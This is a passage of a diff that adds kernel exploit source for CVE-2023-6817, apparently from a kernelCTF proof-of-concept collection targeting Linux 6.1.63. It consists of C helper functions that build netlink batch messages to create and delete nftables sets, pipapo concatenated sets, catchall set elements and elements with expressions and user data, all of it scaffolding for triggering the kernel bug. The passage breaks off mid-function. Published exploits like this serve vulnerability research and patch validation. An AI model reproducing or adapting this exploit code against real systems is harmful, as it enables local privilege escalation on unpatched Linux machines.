*obj_name, uint32_t obj_type){ + + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(obj_type)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Delete object %s\n",obj_name); + } + +} + diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/set.h b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/set.h new file mode 100644 index 00000000..094babcd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/set.h @@ -0,0 +1,411 @@ +extern int cur_handle; +void new_set_hashtable(struct nl_sock * socket, char *table_name, char *set_name, uint32_t obj_type, int key_len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + + nla_put_u32(data, NFTA_SET_DESC_SIZE, htonl(0x1000)); + + + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_OBJECT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + /* + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_OBJECT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + */ + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } + cur_handle++; +} + +void new_set_hashtable_with_elemdata(struct nl_sock * socket, char *table_name, char *set_name, int key_len, int elemdata_size){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + + nla_put_u32(data, NFTA_SET_DESC_SIZE, htonl(0x1000)); + + nla_put_u32(msg2, NFTA_SET_DATA_TYPE, htonl(NFT_DATA_VALUE)); + nla_put_u32(msg2, NFTA_SET_DATA_LEN, htonl(elemdata_size)); + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_MAP)); + //nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + /* + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_OBJECT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + */ + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } + cur_handle++; +} + + +void new_set_hashtable_with_map(struct nl_sock * socket, char *table_name, char *set_name, int key_len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + + nla_put_u32(data, NFTA_SET_DESC_SIZE, htonl(0x1000)); + + + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_DATA_TYPE, htonl(NFT_DATA_VALUE)); + nla_put_u32(msg2, NFTA_SET_DATA_LEN, htonl(0x10)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_MAP)); + //nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + /* + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_OBJECT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + */ + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } + cur_handle++; +} + + +void new_set_pipapo(struct nl_sock * socket, char *table_name, char *set_name, int key_len, uint32_t obj_type){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *data_nest_nest = nlmsg_alloc(); + //init IPSET_ATTR_DATA + + int i=0; + + nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10)); + for(i=0;i<2;i++){ + nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest); + } + + nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest); + //create test1 + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_OBJECT|NFT_SET_CONCAT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } + cur_handle++; +} + + +struct nlmsghdr *del_set_msg(char *table_name, char *set_name){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + cur_handle++; + return hdr2; +} + + +void new_set_pipapo_for_poc_chain(struct nl_sock * socket, char *table_name, char *set_name, int key_len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *data_nest_nest = nlmsg_alloc(); + //init IPSET_ATTR_DATA + + int i=0; + + nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10)); + for(i=0;i<2;i++){ + nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest); + } + + nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest); + //create test1 + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_MAP|NFT_SET_CONCAT)); + nla_put_u32(msg2, NFTA_SET_DATA_TYPE, htonl(NFT_DATA_VERDICT)); + + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } + cur_handle++; +} diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/setelem.h b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/setelem.h new file mode 100644 index 00000000..d5ed863f --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/setelem.h @@ -0,0 +1,474 @@ +void new_setelem(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + +void new_setelem_with_expr_and_elemdata(struct nl_sock * socket,char *table_name, char *set_name, void *elemdata, uint32_t elemdata_len, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *elem_expr = nlmsg_alloc(); + struct nl_msg *elem_data = nlmsg_alloc(); + uint64_t key = input_key; + nla_put_string(elem_expr, NFTA_EXPR_NAME, "last"); + nla_put_nested(elem_nest, NFTA_SET_ELEM_EXPR, elem_expr); + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + if(obj_ref != NULL) + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + //nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + if(elemdata > 0){ + nla_put(elem_data, NFTA_DATA_VALUE, elemdata_len, elemdata); + nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, elem_data); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + + +void get_setelem(struct nl_sock * socket, char *table_name, char *set_name, char *input_key, int key_len){ + //init msg + struct nl_msg * msg = nlmsg_alloc(); + 